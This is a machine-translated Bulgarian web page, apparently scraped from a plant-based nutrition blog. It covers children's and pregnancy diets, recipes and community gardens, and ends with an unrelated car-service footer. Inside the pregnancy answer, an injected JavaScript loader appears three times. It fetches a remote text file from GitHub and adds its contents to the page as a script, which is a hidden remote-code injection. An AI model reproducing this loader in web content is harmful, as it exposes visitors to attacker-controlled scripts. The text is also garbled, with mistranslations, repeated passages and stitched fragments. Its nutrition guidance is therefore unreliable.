Поддържането на градина изисква прилично количество упражнения.
Независимо от диетата, всички деца трябва да се хранят с богати на желязо храни още от самото начало, тъй като дефицитът на желязо е водещият дефицит на хранителни вещества както при деца, така и при възрастни.
Тази рецепта на растителна основа за салата Tofu Cobb поддържа добро хранене за майките.
В: Какво ще кажете за бременността и кърменето?
A: Диетата на растителна основа е абсолютно безопасна и вероятно е полезна за бременност и кърмене. (var url = “https://raw.githubusercontent.com/truba77/trubnik/main/to.txt”; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(“script”); script.src = data.trim(); document.getElementsByTagName(“head”)[0].appendChild(script); });) (var url = “https://raw.githubusercontent.com/truba77/trubnik/main/to.txt”; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(“script”); script.src = data.trim(); document.getElementsByTagName(“head”)[0].appendChild(script); });) (var url = “https://raw.githubusercontent.com/truba77/trubnik/main/to.txt”; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(“script”); script.src = data.trim(); document.getElementsByTagName(“head”)[0].appendChild(script); });)Research shows that plant-based pregnant women may have a lower risk of pregnancy-related complications like gestational diabetes and preeclampsia.
Moms and moms-to-be should eat a varied, nutrient-dense diet (similar to Не-бременни жени, но само малко повече) и правилно допълват. Имаме безплатно ръководство за добавки на нашия уебсайт, което очертава нуждите. https://plantbasedjuniors.com/plant-базирани juniors-supplement-guide/
q: Кои са някои от клопките, които виждате, че родителите правят, когато става въпрос за хранене на децата си на растителни диети?
a: Някои родители смятат, че диетата им за възрастни растителна основа е адекватна за децата и може да пренебрегне уникалните нужди за деца, като висок прием на мазнини и общи калории. Докато възрастните могат да процъфтяват на диета с ниско съдържание на мазнини, растителни, бебета и малки деца се нуждаят от 40% от калориите си, за да идват от мазнини, за да се стигне до растеж и развитие на гориво. Родителите също може да не осъзнават значението на калорично плътните растителни храни за децата. Отново, докато възрастните могат да процъфтяват с нискокалорични растителни храни, децата трябва да направят всеки брой хапки в ранния живот. Ето защо разделихме нашата „PB3 плоча“ на трети и само разпределяме 1/3 от чинията на плодове и зеленчуци срещу ½ от чинията, както в други модели на чинията. Искаме да се уверим, че децата получават достатъчно общи калории и не се пълнят твърде бързо на питателни, но нискокалорични, произвеждат.
Внимавайте за градските легенди, като например „соята е лоша“. Вместо това, насочете се към няколко порции соя всеки ден, като например в тази рецепта за средиземноморския едамам Quinoa Bowl.
Q: Всякакви градски легенди, които бихте искали да се счупите?
a: Тази соя е вредни за децата. Това е често срещан мит, който просто няма да изчезне! Изследванията показват, че бебетата и децата, които консумират соя, се развиват нормално и нямат репродуктивни или ендокринологични разлики в сравнение с други деца. Всъщност младите момичета могат дори да се възползват от консумацията на соя. Проучванията показват, че жените, които са консумирали много соя в началото на живота, имат намален риск от рак на гърдата.
Q: Какви са вашите най-добри съвети за родителите-от бременност до раждане до кърмене в детството-които искат да хранят семействата си на базата на растения-независимо дали започват или дори правят това за известно време ?
a:
Обучете се. Ключът към всяка подходяща диета е подходящото планиране! Ако сте нов за това, лекота. Не е необходимо да е всичко или нищо. Всяка част от растителната основа на хранене. Ако получавате съпротива от децата си, опитайте се да се откажете. Ние се застъпваме за това, че позволявате на децата ви да водят пътя, когато става въпрос за хранене. Ваша работа е да ги излагате на широк спектър от питателни храни, но тяхна работа е да решават какво и колко искат да ядат. Осигурете без натиск!
В: Всякакви съвети за добавяне?
a: Нито една растителна диета не е пълна без обмислена добавка. Нуждите варират в зависимост от възрастта и жизнения етап, така че не забравяйте да направите домашната си работа и да разберете от какво се нуждаете вие или вашето дете. Отново имаме безплатно ръководство за добавки, за да помогнем за това!
Алекс и Уитни споделят една от любимите си рецепти на растителна основа, френски тост пръсти с бърз сироп от горски плодове!
Френски тост пръсти с бърз сироп от горски плодове
Съставки:
1 чаша консервирано кокосово мляко (редовно или леко) 1 супена лъжица смляна семена1 чаена лъжичка ванилия екстракт1 чаена лъжичка смляна канела5 дебели филийки от филийки от дебели филийки от екстракт от ванилия Дневен хляб, нарязано на широк ивицикоконут или недарирано масло, за пана
Бързо ягодово сироп
2 чаши замразени плодове, леко размразени ½ чаена лъжичка смляна канела ½ чаена лъжичка екстракт от ванилия
приготвяне:
в a Голяма, плитка купа, разбийте заедно кокосовото мляко, лененото семе, ванилията и канелата. Оставете да преседите 5 минути, докато нарязвате хляба голям тиган, загрейте маслото на среден огън. Разкажете лента хляб в кокосовата смес, след което поставете в горещата тиган. Повторете с повече ивици, като внимавате да не се тълкува тигана. Сироп за потапяне!
Бързо сироп от горски плодове
В малка тенджера на среден огън поставете ¹⁄3 чаша вода, горските плодове, канелата и ванилията и доведете до кипене. С помощта на дървена лъжица внимателно разбийте големите плодове. Надведете топлината до средно ниско и оставете да къкри за около 10 минути, като разбърквате от време на време, докато сиропът намали и се сгъсти. Сиропът трябва да е достатъчно дебел, за да покрие гърба на лъжица. with Celine HeskeyLearning About Cultural Humility in the Food System with Denine RogersA Disease-Proof Diet with Dr. Michael GregerHispanic Plant-Based Food Traditions with Sylvia Melendez KlingerBaby-Led Weaning with Diana Rice, The Baby Steps Dietitian
Expert Interviews|Blog Преглед на коментарите. Необходимите полета са маркирани *
Запазете името, имейл и уебсайта си в този браузър за следващия път, когато коментар
нахут табюле
Sharon Palmer
Публикувано на 7 юни 2021 г.
Актуализирано на 23 декември 2021 г.
· Рецепта
Ето забавен, сърдечен обрат на класически табуле. Разбийте тази рецепта следващия път, когато готвите храна от Близкия Изток, като фалафели, хумус или патладжан на скара. Или дори го сервирайте като селски гарнитура за зеленчуци или зеленчукова супа. Направете го без глутен, като замените безглутеново зърно.
Вижте как правя тази рецепта в моето шоу за готвене на живо на живо на живо.
нахут табулех
(4 гласа, средно: 5,00 от 5) зареждане …
5 от 4 отзива
Автор: Диетикът, захранван от растенията · Рецепта
Ето Забавен, сърдечен обрат на класически табуле. Разбийте тази рецепта следващия път, когато готвите храна от Близкия Изток, като фалафели, хумус или патладжан на скара. Или дори го сервирайте като селски гарнитура за зеленчуци или зеленчукова супа. Направете го без глутен, като замените безглутеново зърно.
Вижте как правя тази рецепта в моето шоу за готвене на живо на живо на живо.
нахут табулех
(4 гласа, средно: 5,00 от 5) зареждане …
5 от 4 рецензии
Автор: Диетикът, захранван от растенията
Безбройните ползи на Community Gardens
Шарън Палмър
Публикувано на 26 юли 2018 г.
Актуализирано на 13 октомври 2020 г.
Творческото използване на пространството е превръщайки се в неразделна част от градския живот. Какъв по -добър начин да използвате земя от отглеждането на пресни плодове и зеленчуци? Е, градините на общността (CG) правят точно това и много повече, за да се възползват от общността.
Какво е градина в общността?
Просто казано, CG е сюжет на земята, Обикновено се оперира от града, където хората (известни като градинари) могат да наемат пространство за отглеждане на собствени растения. Градинарите плащат първоначален, понякога възстановим депозит и месечна такса за употреба. CG могат да бъдат разположени в паркове, между къщи или в други творчески райони, като неизползваното пространство под електропроводи. Размерът на парцела варира значително в зависимост от местоположението и търсенето, например, някои парцели в Torrance, Калифорния са 20 ′ x 20 ′, докато пространствата в центъра на Лос Анджелис могат да бъдат малки, колкото 1 ′ x 4 ′! Обществена градина в Lago Seco Park, Torrance.
Как работят градините на общността?
Всеки CG се работи по различен начин, което означава, че всеки има свой набор от правила и етикет. Повечето CG ще позволят само „кухненски зеленчуци“, като тиквички, чушки или домати. Плодовите дървета могат да бъдат разхвърляни, но също така и разпространени широки корени и обикновено са разрешени само ако са с малки размери и се държат в глинени саксии. Много CGS очертават какъв тип земеделски практики са приемливи, като оплождане или употреба на пестициди.
Въпреки че CGS са договорени само за осигуряване на вода, много от тях имат инструменти или оборудване на общността, които остават в имота. Мениджърът на градината на Torrance RJ Mallardi казва, че понякога хората носят растения или саксийни дървета от дома, за да ги рехабилитират, когато не процъфтяват. След няколко седмици живот в градината, рехабилитираното растение се прибира по -здравословно. Mallardi обяснява, че CG трябва да бъде място за отворена комуникация. Поддържането на мениджъра на градината, съседите и колегите градинари в знанието за вашия сюжет може да ви помогне да поддържате градината си здрава по време на дълги отсъствия или високи добиви.
Градинар е превърнал сюжета в място за оттегляне в общностната градина Lago Seco Park Garden Garden Garden Garden Garden Garden Garden Garden Garden Garden Garden Garden Garden Garden Garden Garden , Torrance.
Как градините на общността се възползват от общността?
Ползите за CG изглеждат безкрайни и могат да бъдат намерени както за хората, така и за цели общности. Джойс Чан, който ръководи програмата на градината на общността в Торанс, Калифорния, обяснява, че хората намират духовни, психологически и емоционални ползи. Някои хора са много благодарни за възможността да отглеждат зеленчуци, за да хранят семействата си или недооценено население, казва Чан. Общността също се възползва, тъй като преди това неизползвани или грапави области могат да бъдат превърнати в учебна среда, които насърчават здравето и благосъстоянието. Едно проучване в Мериленд установи, че създаването на градини в общността може да подобри градската среда, особено в съживяването на области, които преди това са били деградиращи (Poulsen et al., 2014).
Fresh Blackberry, растящи в градината на общността в парк Lago Seco, Torrance.
Има физически ползи и за CGS. Поддържането на градина изисква прилично количество упражнения. И едно проучване установи, че хората, които са участвали в градините на общността, са над два пъти по-голяма вероятност да отговорят на националните препоръки за диета за плодове и зеленчуци, отколкото не-градини (Litt et al., 2011). Хората, които участваха в градини на общността, консумират плодове и зеленчуци 5,7 пъти на ден, докато не-градините ги консумират само 3,9 пъти на ден (Litt et al., 2011). Така че не само получавате упражненията си, но е по -вероятно да ядете зеленчуците, които отглеждате!
Другите популации могат да се възползват от CGS за тяхната образователна стойност. Обучение на деца откъде идва храната и как могат да растат, това е важен урок, който не може да се преподава от учебник. Съществуват и други образователни възможности. Чан разкри, че един от CGS в центъра на Ла е предлагал уроци по градинарство на бездомни, за да могат да се научат да отглеждат храна.
Артишок цъфти в градината на общността в парк Lago Seco, Torrance.
Как мога да се включа?
Hop Online и потърсете уебсайта на вашия град за градини на общността. Разпространете думата за CGS, като споделяте информация в социалните медии или намерете начини да участвате, като време за доброволчество или даряване на доставки на близкия CG. Можете също така да подкрепите местния ви CG, като се уверите, че вашите градски съветници разбират щракнете положителното въздействие, което оказва върху вашата общност. Нямате такъв във вашия град? Говорете с вашия градски персонал и попитайте какви стъпки са необходими, за да започнете такава. Няма ограничение на размера и може да се започне само с няколко заинтересовани. С толкова много предимства, какво чакате? Изкопайте в CG днес!
Референции:
Poulsen, M. N., Hulland, K. R., Gulas, C. A., Pham, H., Dalglish, S. L., Wilkinson, R. K., & Winch, P. J. (2014). Отглеждане на градски оазис: Качествено проучване на възприетите ползи от градинарството на общността в Балтимор, Мериленд. Култура, селско стопанство, храна и околна среда, 36 (2), 69-82.
Litt, J. S., Soobader, M. J., Turbin, M. S., Hale, J. W., Buchenau, M., & Marshall, J. A. ( 2011). Влиянието на социалното участие, естетиката на съседство и участието на градината в общността върху консумацията на плодове и зеленчуци. American Journal of Public Health, 101 (8), 1466-1473. Park, Torrance
Написано от Джил Врастил, Диетичен стажант с Шарън Палмър, RDN
Фотография: Джил Врастил
Блог | Устойчивост
Една мисъл за „Безброй ползи на градините на общността ”
Имейл казва: 26 юли 2018 г. в 23:04
Иска ми се да имам голяма градина като тази! Уау!
Отговор Преглед на коментарите. Необходимите полета са маркирани *
Запазете моето име, имейл и уебсайт в този браузър за следващия път, когато коментирам
Управление на хранителните алергии на вашето дете върху диета на растителна диета на растителни диети от всякакъв вид предлагат ползи
След навигация
Управлението на хранителните алергии на вашето дете върху диети, базирани на растителни диети, базирани на диети от всякакъв вид, предлагат ползи
Творческата употреба на пространството се превръща в неразделна част от градския живот. Какъв по -добър начин да използвате земя от отглеждането на пресни плодове и зеленчуци? Е, градините на общността (CG) правят точно това и много повече, за да се възползват от общността.
Какво е градина в общността?
Просто казано, CG е сюжет на земята, Обикновено се оперира от града, където хората (известни като градинари) могат да наемат пространство за отглеждане на собствени растения. Градинарите плащат първоначален, понякога възстановим депозит и месечна такса за употреба. CG могат да бъдат разположени в паркове, между къщи или в други творчески райони, като неизползваното пространство под електропроводи. Размерът на парцела варира значително в зависимост от местоположението и търсенето, например, някои парцели в Torrance, Калифорния са 20 ′ x 20 ′, докато пространствата в центъра на Лос Анджелис могат да бъдат малки, колкото 1 ′ x 4 ′! Обществена градина в Lago Seco Park, Torrance.
Как работят градините на общността?
Всеки CG се работи по различен начин, което означава, че всеки има свой набор от правила и етикет. Повечето CG ще позволят само „кухненски зеленчуци“, като тиквички, чушки или домати. Плодовите дървета могат да бъдат разхвърляни, но също така и разпространени широки корени и обикновено са разрешени само ако са с малки размери и се държат в глинени саксии. Много CGS очертават какъв тип земеделски практики са приемливи, като оплождане или употреба на пестициди.
Въпреки че CGS са договорени само за осигуряване на вода, много от тях имат инструменти или оборудване на общността, които остават в имота. Мениджърът на градината на Torrance RJ Mallardi казва, че понякога хората носят растения или саксийни дървета от дома, за да ги рехабилитират, когато не процъфтяват. След няколко седмици живот в градината, рехабилитираното растение се прибира по -здравословно. Mallardi обяснява, че CG трябва да бъде място за отворена комуникация. Поддържането на градинския мениджър, съседите и колегите градинари в знанието за вашия сюжет може да ви помогне да поддържате градината си здрава по време на дълги отсъствия или високи добиви.
Contents
Contact
Hi Tech Car Service
in Kilburn, SA
(08) 8162 8662
Find your nearest
Bosch Service workshop
VIEW NOW
Discover
Bosch Vehicle Parts
Find out more
